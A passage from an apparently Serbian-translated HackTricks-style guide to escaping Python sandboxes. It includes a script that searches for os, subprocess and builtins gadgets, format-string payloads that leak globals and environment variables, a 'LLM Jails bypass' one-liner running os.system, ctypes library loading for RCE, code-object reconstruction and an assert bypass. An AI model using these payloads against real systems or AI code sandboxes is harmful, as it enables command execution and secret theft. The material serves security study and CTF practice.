os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Rekurzivna pretraga builtins, globals…

Warning

Ovo je jednostavno sjajno. Ako tražite objekat kao globals, builtins, open ili bilo šta samo koristite ovaj script da rekurzivno pronađete mesta gde možete naći taj objekat.

import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()

Možete proveriti izlaz ovog skripta na ovoj stranici:

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

Python Format String

Ako pošaljete string u python koji će biti formatiran, možete koristiti {} da pristupite python internim informacijama. Možete koristiti prethodne primere da pristupite globals ili builtins, na primer.

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Obratite pažnju kako možete pristupiti atributima na uobičajen način pomoću tačke kao people_obj.__init__ i elementu dict-a pomoću uglaste zagrade bez navodnika __globals__[CONFIG]

Takođe obratite pažnju da možete koristiti .__dict__ za nabrajanje elemenata objekta get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Još neke zanimljive karakteristike format stringova su mogućnost izvršavanja funkcija str, repr i ascii nad naznačenim objektom dodavanjem !s, !r, !a respektivno:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Štaviše, moguće je code nove formatere u klasama:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Više primera o format string primerima možete naći na https://pyformat.info/

Caution

Pogledajte i sledeću stranicu za gadgets koji će read sensitive information from Python internal objects:

Python Internal Read Gadgets

Payloads za otkrivanje osetljivih informacija

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless

LLM Jails bypass

Iz here: ().class.base.subclasses()[108].load_module('os').system('dir')

Iz format stringa do RCE — učitavanje biblioteka

Prema TypeMonkey chall from this writeup moguće je učitati proizvoljne biblioteke sa diska zloupotrebom format string ranjivosti u pythonu.

Kao podsetnik, svaki put kada se u pythonu izvrši neka operacija, pozove se odgovarajuća funkcija. Na primer 2*3 će pozvati (2).mul(3) ili {'a':'b'}['a'] će biti {'a':'b'}.__getitem__('a').

Imate više ovakvih primera u sekciji Python execution without calls.

Python format string vuln ne dozvoljava izvršavanje funkcija (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao '{0.system("/bin/sh")}'.format(os).
Međutim, moguće je koristiti []. Dakle, ako neka uobičajena python biblioteka ima __getitem__ ili __getattr__ metod koji izvršava proizvoljan kod, moguće ih je zloupotrebiti za dobijanje RCE.

Tražeći gadget tog tipa u pythonu, writeup predlaže ovaj Github search query. Gde je našao ovaj one:

class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Ovaj gadget omogućava da se učita biblioteka sa diska. Stoga je potrebno na neki način upisati ili upload-ovati biblioteku koja će biti učitana, pravilno kompajliranu za napadnuti server.

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.

Analiza Python objekata

Tip

Ako želite saznati o python bytecode detaljno pročitajte ovaj sjajan post o toj temi: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

U nekim CTF-ovima vam može biti dat naziv prilagođene funkcije u kojoj se nalazi flag i potrebno je videti unutrašnjost funkcije da biste ga izvukli.

Ovo je funkcija koju treba ispitati:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ and func_globals(Isto) vraćaju globalno okruženje. U primeru možete videti neke importovane module, neke globalne promenljive i njihov deklarisani sadržaj:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

See here more places to obtain globals

Pristup kodu funkcije

__code__ i func_code: Možete pristupiti ovom atributu funkcije kako biste dobili objekat koda funkcije.

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Dobijanje informacija o kodu

# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Disasembliranje funkcije

import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE

Imajte na umu da ako ne možete import dis u python sandbox možete dobiti bytecode funkcije (get_flag.func_code.co_code) i disassemble ga lokalno. Nećete videti sadržaj varijabli koje se učitavaju (LOAD_CONST), ali ih možete naslutiti iz (get_flag.func_code.co_consts) zato što LOAD_CONST takođe pokazuje offset varijable koja se učitava.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE

Compiling Python

Sada, zamislimo da nekako možete dump informacije o funkciji koju ne možete izvršiti ali morate da je izvršite.
Kao u sledećem primeru, možete access the code object te funkcije, ali samo čitajući the disassemble ne znate kako da izračunate the flag (zamislite složeniju calc_flag funkciju)

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Kreiranje code object

Pre svega, moramo znati how to create and execute a code object kako bismo mogli napraviti jedan koji će izvršiti našu funkciju leaked:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

Tip

U zavisnosti od verzije python-a, parametri code_type mogu imati različit poredak. Najbolji način da saznaš redosled parametara u verziji python-a koju pokrećeš je da pokreneš:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Rekreiranje leaked funkcije

Warning

U sledećem primeru ćemo direktno uzeti sve podatke potrebne da rekreiramo funkciju iz function code object-a. U pravom primeru, sve vrednosti potrebne za izvršavanje funkcije code_type su ono što ćete morati da leak-ujete.

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Zaobilaženje odbrana

U prethodnim primerima na početku ovog posta možete videti kako izvršiti bilo koji python kod koristeći compile funkciju. Ovo je interesantno jer možete izvršiti čitave skripte sa petljama i svime u one liner (i isto možemo uraditi koristeći exec).\ U svakom slučaju, ponekad može biti korisno napraviti compiled object na lokalnoj mašini i izvršiti ga na CTF machine (na primer zato što nemamo compiled funkciju na CTF-u).

Na primer, hajde da kompajliramo i ručno izvršimo funkciju koja čita ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Ako ne možete da pristupite eval ili exec možete da kreirate pravu funkciju, ali njeno direktno pozivanje obično će propasti sa: constructor not accessible in restricted mode. Dakle, potrebna vam je funkcija koja nije u restricted environment da pozove ovu funkciju.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Dekompajliranje kompajliranog Python koda

Koristeći alate kao što je https://www.decompiler.com/ može se dekompajlirati dati kompajlirani python kod.

Pogledajte ovaj tutorijal:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Ostalo o Pythonu

Assert

Python pokrenut sa optimizacijama i parametrom -O ukloniće assert izjave i sav kod koji je uslovljen vrednošću debug.
Stoga, provere poput

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

biće zaobiđeno

Reference

Tip

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